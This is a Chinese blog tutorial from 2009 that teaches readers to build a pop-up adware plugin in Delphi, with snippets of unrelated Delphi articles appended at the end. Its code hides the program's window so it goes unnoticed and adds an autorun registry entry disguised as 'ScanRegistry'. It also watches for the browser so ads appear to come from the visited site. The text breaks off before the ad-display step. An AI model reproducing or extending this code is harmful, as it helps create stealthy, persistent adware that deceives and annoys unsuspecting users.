教你用delphi写弹窗广告插件
教你用delphi写弹窗广告插件
2009年12月25日 星期五 00:45
教你用delphi写弹窗广告插件
引子
目前越来越多的广告插件在我们电脑上扎根驻地，时不时地弹出令人讨厌的广告，并且每当我们开机的时候都会弹出来，搞的很多小菜只能重装系统，
来解决这另人讨厌的广告！影响我们上网聊天，玩游戏，工作等等……很多小菜都不知道广告插件是什么，是怎么做出来的。
下面我就为大家揭开弹窗广告的真实面目，教大家如何很容易的自己也能编出
一个好的弹窗广告插件！
第一步 我们运行delphi7（地球人都知道，呵呵！）
如图1
我们运行delphi7，它是一个可视化编辑器，运行后程序会自动给我们建立一个窗体，便于我们操作。
我们的弹窗广告就是在form1上编辑出来的！
第二步 使广告程序开机自动运行与隐藏
双击form1，填写程序自动写入注册表功能，实现开机自动运行的目的。
如图2
procedure TForm1.FormCreate(Sender: TObject);
begin
Application.ShowMainForm:=False;//隐藏form窗体,这样做是为了不易被人发现！
reg:=tregistry.create;
reg.rootkey:=HKEY_LOCAL_MACHINE;
reg.openkey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
reg.WriteString('ScanRegistry','ad.exe');
reg.closekey;
reg.free;//写入注册表，目的是开机自动运行，我这里自动运行ad.exe，最后把程序保存为ad.exe
另外需要注意的是，在uses中一定要添加registry，在var中要添加reg:tregistry;
这点很重要哦，不然程序就不能运行了！很多小菜在编程的时候都不注意这点，最后使整个程序不能运行，但并不知道错误在哪。
做完这一步，我们的程序就可以写入注册表喽！
第三步 检测浏览器是否运行
弹窗广告插件一般都是在你浏览网页的时候，弹出广告。他们这样做的目的其实是为了嫁祸给你打开的网站，以为是网站弹出的广告呢！
这样做可以更好的隐藏广告插件。
下面我就教大家写一段代码，来实现这个功能！（前几步代码不动）
我现在在form1窗体上添加一个时间控件timer1,如图3
就是system里面的那个小时钟，很好找的。然后双击小时钟timer1时间控件，添加如下代码：
hWnd:=FindWindow('IEFrame',nil);//查找浏览器是否运行，如图4
同样和第三步一样，要在var中添加hWnd:THandle;
第四步 弹出讨厌的广告
继续在timer1中添加代码：
if hWnd<>0 then //如果发现浏览器运行，
相关文档：
目录
===============================================================================
⊙ RTTI 简介
⊙ 类(class) 和 VMT 的关系
⊙ 类(class)、类的类(class of class)、类变量(class variable) 的关系
⊙ TObject.ClassType 和 TObject.ClassInfo
⊙ is 和 as 运算符的原理
⊙ TTypeInfo – RTTI 信息的� ......
附件资料
*指针的使用（代码）
示例：简单的指针应用
代码：
procedure TForm1.Button2Click(Sender: TObject);
var
a: Integer;
p: ^Integer;
begin
with self.Memo1.Lines do
begin
......
最近在调试代码,发现一个问题.应该算是bug吧. 呵,如果不算bug,那就是我对其实现原理的误解.
如果把返回参数Result作为另一函数的输入参数,result的初值是不确定...
function fun(str:string):string;
begin
fun2(result);
end; ......
在 Delphi 语言的数据库编程中，DBGrid 是显示数据的主要手段之一。但是 DBGrid 缺省的外观未免显得单调和缺乏创意。其实，我们完全可以在我们的程序中通过编程来达到美化DBGrid 外观的目的。通过编程，我们可以改变 DBGrid 的表头、网格、网格线的前景色和背景色，以及相关的字体的大小和风格。
......
